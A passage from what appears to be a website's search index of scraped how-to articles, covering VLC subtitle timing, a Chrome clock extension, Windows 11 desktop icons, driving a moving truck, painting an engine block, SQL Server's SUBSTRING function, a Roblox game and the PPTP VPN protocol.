succesful.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK6lpqelo8Girsuelpunn6mst7vLrqSeZZWnv7C%2BjKKlZq%2BZo7Gww9I%3D\n","link":"/post/fix-unmountable-boot-volume-error-in-windows/","section":"post","tags":null,"title":"Fix UNMOUNTABLE_BOOT_VOLUME error in Windows"},{"body":" When you play a movie with subtitles on the VLC media player, the text is often displayed too soon or too late. You can solve this problem without any external tools by adjusting the subtitle delay or the voice delay on the playback. Delay...\nMethod 1of 2:\nAdjusting the Subtitle Delay  Delay the subtitles if they're ahead of sound. Just press G button and adjust your subtitle timing to move it ahead.\n  Move the subtitles ahead if they're behind the sound. In this situation, you can press H button and adjust the subtitle timing so it goes back in time.\n Method 2of 2:\nAdjusting the Voice Delay Delay the voices if they're ahead of the picture or subtitles. Press the K button to do this.\n Move the voice track up if they're behind the picture or subtitles. Just press the J button.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIysrJusmam5pnnAp5tmrp%2BesKZ5w56jmrFdpLtuwsucZKmkka6ysw%3D%3D\n","link":"/post/how-to-adjust-subtitle-and-voice-delay-on-vlc-player/","section":"post","tags":null,"title":"How to Adjust Subtitle and Voice Delay on VLC Player"},{"body":"The clock is already displayed on your computer, so if you want to add more options, you can install the Cool Clock widget. The utility allows users to see the time even when opening full screen mode such as playing games or using applications, watching videos, etc. Time will always be displayed on the screen for us to conveniently monitor. Besides, you can also create an event from the Cool Clock utility itself, or set an alarm for important things with a lively, fun sound. There are also many other options that you can do with the Cool Clock utility. The following article will guide you how to use the Cool Clock utility on Chrome.\nSense Desktop: The best clock for Windows 10 desktop How to create standby screens, reminders on Google Chrome How to create text on New Tab Chrome How to customize the new Google Chrome tab page Instructions for using Cool Clock Chrome utility Step 1:\nUsers click on the link below to install Cool Clock widget on Chrome.\nDownload Cool Clock Chrome utility   Step 2:\nWhen installation is complete, click on the utility icon in the browser address bar. At this interface, users will see the features that the utility provides.\n  Step 3:\nFirst, click on the Alarm clock to set the notification. At this interface, users will see 4 content items to set up, including:\nTime: set the alarm time. Repeat on: repeat the message. Message: enter a message for the alarm. Change ringtone: select the alarm sound, can use the alarm sound of the utility, on the web, on the computer.   When selecting user sounds to be transferred to the new interface, click on Alarms \u0026amp; Ringtones . Here the user selects a ringing tone from the website via a URL, or ringing from a computer by clicking Choose a file. If you want the message to continue, click Enable looping.\nReturn to the utility interface, click OK to save the new message. Continue with other announcements.\n  Step 4:\nAll notifications are displayed on the right side of the interface. If you want to edit , click the pen icon at that notice. Turn off the alarm by clicking on the power icon.\n  The edit only applies to the time. If you want to change the date, you must delete the message and create it again.\n  When it comes to the notification time, at the right corner of the screen, the notification interface from the widget is displayed as shown below. Press Dimiss to turn off notifications.\n  Step 5:\nThe Countdown timer section will create a countdown time. In this interface we fill in the information including:\nTime: set the countdown time. Message: message for countdown notification. Color: choose a color for the notification. Repeat: repeat the message. Continue to press the right arrow to count down the time.\n  When the time is up we will also receive a notification.\n  Step 6:\nThe stopwatch on Cool Clock utility will have the following interface. Click the Start button to start.\n  We mark the time in Split, see the time at View Split, add units at Units, pause the countdown at Stop Stopwatch, continue to count down at Continue Stopwatch.\n  Step 7:\nThe Calendar user section is moved to the new interface. First we click on a date to add the event calendar. Enter the content for the event and then click Save to save.\n  Step 8:\nTo change the utility settings, click on the More icon and select Settings .\n  Switch to the setup interface so we can adjust the notification interface, notification sound, etc.\n  Cool Clock utility not only brings the regular watch feature but we can also schedule, create extremely useful reminder notifications. Users have more options to cater to their business needs.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZK6mmauys7%2FApWScpJ%2BYuG67zWaaoaqforI%3D\n","link":"/post/how-to-create-a-universal-clock-on-chrome/","section":"post","tags":null,"title":"How to create a universal clock on Chrome"},{"body":"The application for creating animations on Android and iOS is now very rich, and you can easily find the right application for your device. With iOS devices, the Workflow application is an appropriate choice for creating animated images from available videos.\nThe Workflow application will allow users to create their own workflows, automate tasks such as finding the lyrics of the song, export the web page that is being viewed into a PDF file, and combine multiple images into documents. or create gif images from videos available on the device. With only 1 free application, we can do a lot of different actions, without having to add other supporting applications. The following article will guide you how to create gif images from videos on Workflow.\nThings to know and how to use the Workflow application How to create an animation on iPhone using Boostr How to create animations with Beneton Movie GIF How to create animations from videos using Workflow Download the iOS Workflow app Step 1:\nYou download the application according to the link above and then start the application. In the first interface, it will introduce Workflow usage, features, press the arrow to skip and click Go to My Workflows .\n   Step 2:\nSwitch to the main interface of Workflow, click on the Gallery item above. New interface appears, click on the magnifying glass icon to search for tasks on the application.\n   Step 3:\nYou enter the converted keyword and will see the task Convert Video to Gif to use. Switch to the new interface and click on Get Workflow , then click on Open to use.\n    Step 4:\nIn the next interface, read the play button at the top to run the GIF creation script from Video. The Workflow application will need users to allow access to the device's library , click OK .\n   Step 5:\nA video album appears on the device, select the video you want to create an animation . In the video interface, users can press the play button below to play the video and select the area to be animated .\n   Step 6:\nClick on the area you want to make the animation and wait for the application to proceed with the animation process from the video. Go back to the task interface you will see Make GIF section being done.\n   Step 7:\nOnce you've created a successful gif image, you will see the animation interface as shown below. Click on the Share icon in the bottom left corner of the interface. App appear on the device to share photos like Facebook, Twitter, Messenger, . Or you can click Save Image to save the animation to iPhone and then finish.\n   So you've finished animating the video with the Workflow app on iPhone. Not only does it provide gifs, Workflow also gives users the option to create other tasks, which can be done immediately without installing additional applications.\nSee more:\nMovement turns static image into animation, have you tried it? How to create online animations using Gickr How to create animations with Instagiffer on computer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYygoJ9lmaKuqLHSZp2rp51iw6qwxKiqZq%2BZqbVuw86rop%2Bkn6x6sLqMoqehp56a\n","link":"/post/how-to-create-gif-images-from-videos-with-workflow-on-iphone/","section":"post","tags":null,"title":"How to create gif images from videos with Workflow on iPhone"},{"body":"Like Windows 10, by default when newly installed\u0026nbsp; Windows 11 \u0026nbsp;does not display icons such as This PC, User's File, Network. Then in the following article I will show you how to display This PC on the desktop simply, open your\u0026nbsp; laptop \u0026nbsp;and follow it!\nThis PC on Windows 11 displays the drive partitions on the machine, quickly accessing user folders such as Desktop, Downloads, Documents, Pictures and Videos. It is usually the first place visited when you want to browse files from the root directory of your\u0026nbsp; computer . This is definitely the most used icon by Windows users.\nHowever, by default This PC does not appear on the desktop but only in File Explorer, you must manually add this icon to the desktop.\n  Step 1: Right-click on an empty space on the desktop \u0026gt; Select Personalize.\n  Step 2: Select the Themes item.\n  Step 3: Select Desktop icon settings.\n  Step 4: Tick Computer and select OK, you can see the icon has been added.\n  Step 1: Open File Explorer \u0026gt; Right-click This PC \u0026gt; Select Pin to Start.\n  Step 2: Click the Start icon on the Taskbar to see if the icon is pinned or not (If you don't see it, scroll down).\n  This PC icon is pinned\nOpen File Explorer \u0026gt; Drag and drop This PC to the desktop.\n  The last way is that you can quickly access This PC by pressing the Windows + E keyboard shortcut to access This PC easily.\n  Click once on This PC icon on the desktop \u0026gt; Press the Delete key on the keyboard.\n    Step 1: Right-click on an empty space on the desktop \u0026gt; Select Personalize.\n  Step 2: Select the Themes item.\n  Step 3: Select Desktop icon settings.\n  Step 4: Uncheck Computer and select OK.\n  Just now is an article on how to display This PC icon on the Windows 11 desktop. Thank you for reading this far, see you in the next tutorials.\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmq6GdXam1qr%2BMqZpmoZOku267zWaroZ1drLavsM6wqmZpYWKxpr%2FKraap\n","link":"/post/how-to-display-the-this-pc-icon-on-the-windows-11-desktop/","section":"post","tags":null,"title":"How to display the This PC icon on the Windows 11 desktop"},{"body":" This wikiHow teaches you how to download videos from Lynda.com lessons and courses. Lynda.com offers online video courses in a variety of software, creative, and professional skills. If you have a premium membership, you can download Lynda...\n Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKWxnpmubsLInZyoqw%3D%3D\n","link":"/post/how-to-download-lynda-videos/","section":"post","tags":null,"title":"How to Download Lynda Videos"},{"body":" If you're planning a move, you might be thinking of renting a moving truck. Moving trucks are much larger than most people are used to driving, and they can seem intimidating. Luckily, it won't take long to get the hang of it if you drive...\nPart 1of 3:\nInspecting the Truck before You Drive  Check the lights and signals to make sure they work. Before you get in the truck to drive it, you should make sure that the headlights, turn signals, and brake lights are all in good working order. If you can, ask someone else to sit in the car and turn the signals and lights on and off while you walk around the outside of the truck.[1] Not only will checking your lights and turn signals keep you and other travellers safe on the road, but it might also save you the cost of a ticket.   Examine all of the tires to make sure they are properly filled with air. The proper PSI for the moving truck's tires should be listed on a sticker inside the driver's side door. If not, ask the moving company what PSI they recommend for their tires.[2] Use a gauge to check the air pressure of each tire before you leave. Unscrew the valve cap on the tire, press the gauge onto the valve stem, and check the reading before replacing the valve cap.   Check for existing damage to the interior and exterior of the truck. You don't want to be blamed for any scratches or dents that were already on the truck, so go over it carefully and make sure the rental company acknowledges that the damage was already there.[3] You may want to make a list or take pictures of any damaged areas to protect yourself.   Adjust the mirrors before driving away. Since you'll be relying on the side mirrors to see your surroundings, it is especially important that these are angled so that you can see clearly. Set the blindspot mirror on the passenger's side so that you are able to see as much of the space beside the truck as possible, while the driver's side mirror should give you a good view of what's happening behind you.[4] You may have to readjust the mirrors every time you switch drivers.   Note how much gas the truck has and fill the tank if necessary.. Many rental companies will charge an extra refueling fee if you return the truck with less gas than it had in it to begin with. Ask the rental company if they have this policy, and if they do, take a picture of the gas gauge.[5] The rental company should be able to give you information on the truck's gas mileage. Use this information to calculate approximately how much fuel you will need for your journey. For instance, if your truck averages 10\u0026nbsp;mpg-US (4.3\u0026nbsp;km/l) and you're travelling 700 miles (1,100\u0026nbsp;km) you'll need 70 gallons (260\u0026nbsp;l) of fuel.  Part 2of 3:\nHitting the Road  Release the emergency brake before you start driving. The moving truck is likely parked with its emergency brake engaged. To release this, press the button on the end of the brake lever, then lower the handle. Most emergency brakes are operated by hand and are located near the steering column or the gear shifter. Some emergency brakes are foot-operated and will be located near the driver's left leg. If this is the case, press firmly on the brake then remove your foot to disengage the brake.   Shift the truck into the correct gear. Almost all moving trucks are made with an automatic transmission, so you'll just need to move the gear shifter to \"D\" or \"Drive.\" There may be a button to press on the gear shifter before you can move it, or you may have to push it away from you first and then move it up or down to the correct gear. If you're unfamiliar with driving a manual vehicle, double-check with the rental company to ensure your truck will be an automatic. If you'll be driving on steep mountains, you may need to occasionally shift the truck into low gear so the truck has enough power to make it up the slope.   Build to your desired speed gradually. A truck this size will take awhile to get up to speed. Don't try to accelerate quickly, as this can cause the boxes in the back of the truck to shift, potentially damaging any fragile items you have packed.[6]\n  Slow the truck gradually when you need to stop. You should never slam on the brakes in a moving truck. If you slam on the brakes, your belongings in the back could shift. This can throw the truck off-balance and cause you to lose control of the vehicle. Instead, carefully ease onto the brakes, giving yourself plenty of time to stop.[7] If you have an emergency, such as a flat tire, stay calm and gradually slow the truck, then pull over as soon as you can do so safely.   Allow the space to make wider turns than you would in a car. Moving trucks need a lot more room to turn than regular vehicles, especially when they're making right turns. Slow down as much as you need to, even if that means nearly coming to a stop, and use your side mirrors to make sure you have enough clearance for your turn.[8] There is no center rearview mirror on a moving truck, so you'll need to adjust to using the side mirrors to monitor your surroundings.   Stay at least 4 seconds behind the car in front of you. Moving trucks are heavy, and they take longer to stop than a regular car. It's a good idea to leave at least twice the distance between yourself and the car in front of you that you normally would. To check the distance between you and the car ahead of you, note when they pass a landmark, then count by seconds to see how long it takes you to pass the same spot.[9] A normal rule of thumb is to stay at least 2 seconds behind the car in front of you, so when you're driving a moving truck, you should double that to about 4 seconds.   Go about 10\u0026nbsp;mph (16\u0026nbsp;km/h) under the speed limit in bad weather. You never want to go too fast in a moving truck, but it's even more important to watch your speed if roads are wet or icy. Take your time to ensure you and your belongings reach your destination safely.[10]\n  Pay attention to road signs that are meant for large trucks. In a normal car, you don't have to worry about overhead clearance, weigh station stops, or lane restrictions. However, when you're driving a moving truck, those things can be very important. The truck rental company should tell you which regulations will apply to you.[11] There should be a sticker in the cab of the truck reminding you of how much overhead clearance you'll need. Compare this to any signs you see before you drive under low bridges or get into a drive-thru line.   Plan your route in advance. Use a map or a GPS system to choose your route before you leave. If you can, try to avoid any dramatic elevation changes, such as drives through the mountains. You may also want to avoid driving straight through large cities early in the morning or in the late afternoon when traffic will be the heaviest. Mark any rest areas along the route in case you need to stop. If you need to stop overnight, look for hotels along the way that having parking available to large vehicles.  Part 3of 3:\nParking the Truck  Try to find drive-through parking so you don't have to back up. Since there is no center rearview mirror in a moving truck, backing up is extremely difficult. Try to find parking spots which you can pull all the way through so you can just drive forward when you're ready to leave.[12]\n  Get someone to help you if you do need to back up while parking. Have the person stand off to one side so that you can clearly see them in your mirror, then ask them to direct you to make sure you don't back over something you can't see. Discuss what hand signals you will use before you start backing up. For instance, you may agree that an open hand means go and a closed fist means stop.   Set the emergency brake every time you park. This will help keep the truck from rolling, and it will reduce strain on the truck's regular brakes. If the emergency brake is a lever, press the button and lift the lever up. If the brake is a pedal, press it with your foot until you feel it engage.[13] Even if it seems like the truck is on flat elevation, you still need to engage the emergency brake.   Turn the wheels away from the curb if you park uphill. If the front of the truck is facing uphill when you park, turn the steering wheel so that the front tires are angled away from the curb. This will help anchor the truck and keep it from rolling backwards.[14]\n  Turn the wheels into the curb if you park downhill. If you have to park so that the front of the car is angled downhill, turn the steering wheel so that the front tires are cut in towards the curb to keep the truck from rolling forwards.[15]\n  Park where you can see the vehicle whenever possible. Moving trucks are sometimes targets for theft, since people often are transporting their valuable items. If you stop to eat or to stay overnight in a hotel, try to park where you can keep an eye on the truck.[16]\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyinsOmecBmpKiumaO0bsDRrpqk\n","link":"/post/how-to-drive-a-moving-truck/","section":"post","tags":null,"title":"How to Drive a Moving Truck"},{"body":" The engine block refers to the metal and plastic casing surrounding the components in your engine. When people talk about painting an engine, they're really just talking about painting the engine block since you can't get paint on the...\nPart 1of 4:\nRemoving the Engine or Battery Remove the engine if you know how to assemble an engine bay. It is easier to paint an engine if you can easily maneuver around it and have space to work, but you should only be taking the engine out if you're a gearhead that knows how to put it back together. You can still paint the engine without removing it, but it's ideal if you can get it out.[1] While the process for removing an engine changes from vehicle to vehicle, it typically involves removing the oil lines, alternator, radiator hoses, radiator, compressor, and battery. Then, you slide the hoses and cooling lines out of the engine before disconnecting the intake and power steering. Warning: Do not try to remove the engine if you are not experienced with working on vehicles. If you don't remove and reinstall the engine properly, you may permanently damage it or risk starting a fire when you drive your vehicle.[2]\n Set the engine on a stool under a drop cloth if you removed it. Set up a work stool or table under a drop cloth next to your vehicle. Carefully lift the engine up and out of the engine bay. If your engine is heavy, enlist help to do this. Set the engine down on top of the table or stool. Keep it oriented the same way it was arranged in your vehicle.[3] Set the engine up outside if you can. The paint and primer you're going to use are fairly toxic, so it's best if you have tons of ventilation. Most people do not paint the bottom of the engine since nobody ever sees it, so you don't need to move the engine around once you set it down.  Take the battery out by the negative terminal first if you don't remove the engine. You may shock yourself or short a wire if you don't disconnect the battery. With your car off, use a socket wrench to unscrew the bolt holding the negative terminal in place. Do this on the battery and engine to take the cable out. Repeat this process on the positive terminal. Then, use a screwdriver to unscrew the base of the battery to unlock it from the housing unit and lift it out.[4] If you remove the positive cable first, you will shock yourself and possibly destroy your battery.[5]  Part 2of 4:\nCleaning the Engine Wipe off any surface grime and built-up oil with a cloth and brush. Wipe off the surface with a thick, clean cloth to remove any chunks of oil or grease. Grab a stiff-bristled brush and scrub the surfaces of the engine. Wipe around every exposed section of the engine to pull up surface dirt. Really get in there and wipe the engine thoroughly 4-5 times to remove any surface dirt.[6] The cleaner the engine is, the better your paint job will look.  Use cleaning wipes and degreaser to deep-clean the engine. Mist the surface of the engine with a degreaser. Then, use cleaning or baby wipes to carefully work the degreaser into the metal. Scrub around every knob, bolt, nut, and valve. You don't need to soak the engine or anything, but you do need to carefully scrub the entire surface of the engine to remove the oil and built-up grease.[7] Gunk is the most popular brand when it comes to engine degreasers, but Sea Foam and Permatex are popular options as well. You can use basically any degreaser, though.[8] You can use soapy water instead of a degreasing product if your engine isn't particularly greasy or you want a less abrasive option. If you aren't removing the engine, cover the area surrounding the engine with trash bags to keep them from getting soaked. Slide the trash bags down as far as you can to protect the surrounding components from drips. Use a pipe cleaner to scrub under any wires, pipes, or sensitive components. Note: This part of the process should take at least 1 hour. It's really important that you scrub every visible surface thoroughly. You'll likely go through dozens of cleaning wipes while doing this.\n Remove the degreaser and residue using a clean, dry rag. Grab a clean rag and give the engine a through wiping to remove the residue from your degreaser. Carefully work the rag around every component to lift up any remaining dirt and oil. This may take a while, but your paint job won't look particularly good if you don't wipe away the degreaser particles.[9] Wait at least 1 hour to give the engine time to air dry if it's still pretty wet. You can degrease the engine with mineral spirits if you want a more natural option.  Part 3of 4:\nMasking the Components, Nuts, and Ports Cover the engine bay with foil and tape if you aren't removing the engine. Put a plastic bag over any components that are sticking out of the engine. Use painter's tape to cover the nuts, bolts, and lining of your engine bay. Wrap aluminum foil around the pipes, wires, and thinner pieces that run around your engine. Use plastic drop cloths or trash bags to cover larger sections of the engine bay when you're done.[10]\nTip: This is the hardest part of the process if you aren't removing the engine. You must take 1-2 hours to completely cover everything surrounding the engine. If you don't, you may end up with paint all over your engine bay where it doesn't belong.\n Tape off the openings, nuts, and ports on your engine. This process is different for every engine, but a good rule of thumb is to cover every opening, nut, and port. Use strips of painter's tape to cover up any openings on the engine. Wrap every nut and bolt to keep the paint from joining the threads permanently. If you didn't remove the engine, wrap the junction where every valve and pipe attaches to your engine.[11] If your pistons are exposed, wrap them thoroughly with painter's tape and a cut out piece of plastic to block the paint completely. If you do not know what these parts look like, you can refer to your user's manual or pull a diagram up online.  Cover the valves and bolts on your water pump and block the spark plugs. This is particularly important because getting paint in the water pump or spark plug can make your engine fail. The water pump is typically buried under a cover on your timing belt. Cover every opening and bolt on the water pump 2-3 times with painter's tape. Pull the cables out of the spark plugs and fill each hole with balled-up painter's tape before covering them entirely.[12] Tape off the seam where the water pump connects to your engine as well. The spark plugs are usually located on the top of the engine.  Wrap the opening for the transmission or cover the junction thoroughly. If you disassembled the engine, put a plastic bag over the opening for the transmission and wrap the seam in painter's tape. If you didn't take the engine out, cover the gap where the engine connects to the transmission in 2-3 layers of painter's tape. This is another opening that absolutely cannot get paint inside at risk of an engine failure.[13]\n Part 4of 4:\nPriming and Painting the Engine Put on a respirator, protective eyewear, and gloves. The primer and paint you're going to use is noxious, and you may irritate your lungs and eyes if you aren't properly protected. Put on a respirator, cover your hair with a cap or head cover, and wear long sleeve clothing. Wear protective goggles to keep the fumes out of your eyes. Put on nitrile gloves to keep the paint and primer off of your hands.[14] Either open the door in your garage and turn some fans on, or do this outside.  Prime the engine carefully with a heat-resistant vehicle primer. Purchase your primer at an auto shop online. You must use a heat-resistant vehicle primer to keep the heat from your engine melting the paint over time. Spray the entire surface of the engine using smooth back and forth strokes if you removed it. If you didn't, spray the surfaces that are exposed on the top and side of your engine block.[15] Hold the nozzle 8–12 inches (20–30\u0026nbsp;cm) away from the surface that you're painting. If you're too close, the primer will drip. If you're too far, the primer won't come out evenly. You do not need to prime the engine if you're using a VHT automotive paint. Warning: If you didn't remove the engine, be extremely careful about over-spraying and coating the components surrounding the engine. Do not try to stick the nozzle in between components to reach under the surface of the engine bay.\n Wait 1-2 hours to give the primer time to dry. Once you've applied your first layer of primer, wait a few hours to give it time to dry. The primer must cure to the surface of the engine directly, but you won't know if any grease or residue cuts through the primer until it dries.[16]\n Use additional coats of primer if the dried layer looks uneven. Once the primer is dry, inspect the surface to see if it still looks even and uniform. If there are bubbles or pockets where some grease cut through the primer, apply another coat of the primer to the entire engine block. Repeat this process until the entire surface is evenly primed and covered.[17]\n Pick up a heat-resistant engine enamel to paint the engine. If you cleaned and primed the engine properly, the painting is the easiest part. Unfortunately, you cannot use a standard paint to coat the engine. Stop by the auto supply store or go online and buy 2 cans of engine enamel in a color that will work with the color scheme of your vehicle.[18] If you don't use an engine enamel, the paint will peel off over time as the heat melts the pigment.  Coat the engine in a layer of engine enamel to paint it. Hold the nozzle up to the engine and cover the entire surface in a layer of engine enamel. Work back and forth from one end of the block to the other to coat the surface of your engine. If you removed the engine, work your way around the engine to paint the sides as well. The color should be uniform and even without any drips.[19] If you did a good job covering up the ports and bolts, this part should be fairly straightforward and easy.  Wait 24 hours before applying any additional coats as needed. Give the engine enamel time to dry by letting it rest for a day. When it's dry, inspect the surface and feel the engine. If the paint is even and there aren't any gaps in the texture, you can stop here. If you want to even out the color, apply another layer of paint and wait an additional 24 hours before inspecting the surface again.[20] You can repeat this process 2-3 times to achieve a deeper color or more uniform texture.  Remove all of the tape, plastic, and covers. Once the engine is dry, begin peeling off all of the painter's tape that you applied before. Be thorough and make sure that you scrape off every piece of tape. Use a razor blade to peel up any pieces that have fused to the surface of the engine. Remove all of the plastic bags and trash bags you used to cover up and protect the other compartments of the engine bay as needed.[21] Be extremely thorough here. If you leave any plastic or tape in the engine bay, it could ignite at some point when you're driving your car.  Reassemble the engine based on how much you originally removed. If you took the engine out, set it back inside of the engine bay. Reconnect the transmission, valves, alternator, radiator hoses, radiator, compressor, and battery. if you only disconnected the battery cables, reconnect them by attaching the positive terminal first with your socket wrench and screwdriver.[22] Double-check your connections and valves to make sure that each connection is tight and secure.   Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiRnru1ecCnZJ6ml567pnnBpaacow%3D%3D\n","link":"/post/how-to-paint-an-engine-block/","section":"post","tags":null,"title":"How to Paint an Engine Block"},{"body":"For a long time, the Paint application was normally the default application for many people to edit and resize images. In Windows 10, Microsoft introduced a new application called Paint 3D, which has a unique set of features compared to the old Paint. As you can guess from the name itself, Paint 3D is primarily designed for creating and editing 3D images. In fact, the new canvassing feature and all the tools are primarily geared towards creating and editing 3D images. However, the Paint 3D app can still do almost anything that the old Paint app can do.\nOne of the common things most people do with Paint is resize an image. For example, if the image is too large or too small, you can use the built-in application to resize it as needed.\nIn the old Paint app, simply add an image to the Paint app and click the Resize button . Paint 3D is nothing else. But since the user interface of modern apps is a bit different, resizing images in Paint 3D can be confusing.\nSo in this quick and simple tutorial, let Make Tech show you the steps to resize an image using Paint 3D in Windows 10.\nSteps to resize images in Paint 3D To resize an image or an image in Paint 3D, follow the steps listed below.\nStep 1. First, open Paint 3D application . You can open it in the Start menu.\nStep 2. Click the 'Open' button in Paint 3D application.\n  Step 3. Click the \"Browse\" button .\nStep 4. Now, find the image to resize and click Open.\n  Step 5. The image will open in Paint 3D application.\nStep 6. Next, click the \"Canvas\" option on the top bar.\nStep 7. On the right sidebar, select the checkbox \"Lock Aspect Ratio\" in the Resize Canvas section .\nStep 8. Select the checkbox \"Resize image with canvas\" .\nStep 9. Next, choose \"Pixels\" from the drop-down menu.\n10. Now, set the width or height as per your requirement.\n  Step 11. When you are satisfied with the new image size, click the \"Menu\" button in the top left corner.\nStep 12. Select the option \"Save as\" on the sidebar to save the resized image as a new image.\nStep 13. Since you want to save the file as an image, please click the \"Image\" button .\n  Step 14. Choose a destination, give the file a name and click the \"Save\" button .\nStep 15. Finally, close Paint 3D application. When prompted, click the \"Don't Save\" button. That way, you won't modify the original image.\nIt's easy to resize an image using Paint 3D in Windows 10. You will find the resized image in the save location of your choice in step 14.\nPaint 3D Paint 3D application ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLa7sYyipJqflah6qrqMqZiipqRigKV5wKmnpaGTlsGqu81mpqdlp567pbvWrGRqaA%3D%3D\n","link":"/post/how-to-resize-images-in-paint-3d-application-on-windows-10/","section":"post","tags":null,"title":"How to resize images in Paint 3D application on Windows 10"},{"body":"The article will explore and guide you how to use the SUBSTRING function in SQL Server to extract a substring from a specified string.\nDescribe The SUBSTRING function in SQL Server allows you to extract a substring of the specified length starting from a position in the input string.\nSyntax To use the SUBSTRING function in SQL Server, we use the following syntax:\n SUBSTRING(string, start, length)  Parameters :\nstring: can be a string, variable or column you want to extract. start: is an integer specifying the location where the substring starts to be returned. Note that the first character in the string is 1, not 0. length: a positive integer that specifies the number of characters of the substring returned from the string. Note :\nIf the length parameter has a negative value, SUBSTRING will have an error If start + length \u0026gt; the length of the string , the substring will start from start and include the remaining characters of the string. See also LEFT and RIGHT functions to extract a substring from a specified string. The SUBSTRING function can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example Take a look and explore some examples of SUBSTRING functions in SQL Server.\nSELECT SUBSTRING('QuanTriMang.com', 1, 4); Result: 'Quan' SELECT SUBSTRING('QuanTriMang.com', 5, 3); Result: 'Tri' SELECT SUBSTRING('QuanTriMang.com', 5, 15); Result: 'TriMang.com'  Previous lesson: STUFF function in SQL Server\nNext lesson: UPPER function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kwLau0q2poqaXYrO2usKtoKimXZ67br%2FQpWSsnaKrsrM%3D\n","link":"/post/substring-function-in-sql-server/","section":"post","tags":null,"title":"SUBSTRING function in SQL Server"},{"body":"Join the Sonic Speed ​​Simulator, players will control the character to run through the stunning landscapes of Green Hill and earn some attractive rewards along the way. New players can learn more about Sonic Speed ​​Simulator Tutorial.\nAnd in this article, let's discover ways to collect rewards when playing Sonic Speed ​​Simulator - the super-fast Sonic Hedgehog simulation game that is hot on Roblox.\nWays to collect rewards in Sonic Speed ​​Simulator To earn rewards in Sonic Speed ​​Simulator, gamers need to collect many Rings. These Rings can be found everywhere, just like Chaos Orbs.\nJust run into the lined up Rings that appear all over the game world to collect them. These Rings will disappear after the character runs over to collect, but they will respawn after a few minutes, so people can collect more times.\nAfter having enough Rings, gamers can visit any vending machine to redeem some rewards.\n  Each vending machine has its own set of rewards and can preview them before deciding to buy. When using their Ring, the items people get from the vending machine are completely random. Players can view the percentages listed for their chances of getting a particular item.\nGamers can get Chaos and Trails from vending machines. Chaos are cute little creatures that follow around the player character, they help increase the amount of XP and Ring earned from each pick.\nTrails are light trails that the character leaves when moving quickly and also help increase the amount of Ring and XP collected.\n  If more Rings are needed, enter the Obby Rings scattered around the world. Here, when completing the obstacle challenges, gamers will receive a large amount of Ring. Every 6 hours, players can retake the Obby Ring challenges.\nEvery few minutes, everyone will be able to participate in multiplayer races. Each participant in the race will be pitted against each other to see who is the fastest, and if they make it to the top 3, everyone will receive some Ring and XP as a reward for their efforts.\n  Finally, there are premium skins that can be purchased with Robux. Near the spawn point of Green Hill, there is a small hut labeled UGC. Gamers can purchase awesome skins to be used outside of the Sonic Speed ​​Simulator experience here. The list of available skins and their prices are as follows:\nSonic Hat: 249 Robux Knuckles Hat: 199 Robux Tails' Tails: 199 Robux Dr. Eggman Mask: 99 Robux Chaos Emeralds: 175 Robux ncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWTpLmtscKtZKudp5a%2Fpb%2BMoqVmq5%2BjtqR50qmcnpxdWpJzcZdpXHF6VXp%2FZoSPXm97q5miwq2t06ip\n","link":"/post/ways-to-collect-rewards-in-sonic-speed-simulator/","section":"post","tags":null,"title":"Ways to collect rewards in Sonic Speed ​​Simulator"},{"body":"A brief history of PPTP PPTP is a network protocol developed in 1999 by a supplier group, founded by Microsoft, Ascend Communications (part of Nokia), 3Com and many others. PPTP is designed to improve Point-to-Point Protocol, the data link layer protocol (Layer 2) was designed to directly connect two routers, before.\nDespite being a fast and stable protocol for Windows networks, PPTP is no longer considered security. PPTP has been replaced by more secure and secure VPN tunneling protocols, including OpenVPN, L2TP / IPSec and IKEv2 / IPSec.\nPPTP is an outstanding development of PPP \u0026nbsp;\nHow does PPTP work? PPTP is an outstanding development of PPP and therefore, based on its authentication and encryption framework. Like all tunneling technologies, PPTP encapsulates data packets, creating a tunnel for data to be transmitted over an IP network.\nPPTP uses a client-server design (specifications included in Internet RFC 2637) that work on Layer 2 of the OSI model. Once the VPN tunnel is established, PPTP supports two types of information flows:\nControl messages go directly between the VPN client and the server. Data packets go through the tunnel, ie to or from the VPN client. People often get the information of PPTP VPN server address from admin. The connection string can be server name or IP address.\nThe PPTP protocol PPTP uses the General Routing Encapsulation tunneling technique to encapsulate data packets. It uses TCP port 1723 and port IP 47 via the Transport Control Protocol. PPTP supports encryption keys of up to 128 bits and Microsoft's Point-to-Point Encryption standards.\nTunneling modes: Voluntary and Compulsory The protocol supports two types of tunneling:\n- Voluntary Tunneling : A type of tunneling initiated by the client on an existing connection to the server.\n- Compulsory Tunneling : A type of tunneling initiated by the PPTP server at the ISP, requiring the remote access server to create the tunnel.\nIs PPTP still in use? PPTP is still used in some network deployment cases Although it has been around for a long time and has security flaws, PPTP is still used in some network deployment cases, mostly internal business VPNs in old offices. The advantage of PPTP is that it is easy to install, fast and because it is integrated on most platforms, you do not need any special software to use. All you need to establish a connection is the login information and the server address.\nHowever, being easy to use PPTP does not mean you should use it, especially if having a high level of security is important to you. In that case, you should use a better security protocol for your VPN network, such as OpenVPN, L2TP / IPSec or IKEv2 / IPSec.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgpcGxec%2BooKespKS9sLXNrWStrZ6jsq21zaBkqaqfqbyku8s%3D\n","link":"/post/what-is-pptp-point-to-point-tunneling-protocol/","section":"post","tags":null,"title":"What is PPTP (Point-to-Point Tunneling Protocol)?"},{"body":"Milk helps your body stay healthy . That is what the milk suppliers have advertised with us for a long time. However, have you ever sat down and wondered what benefits milk really has for our bodies? If not, now is the time for you to do this. Learn about 10 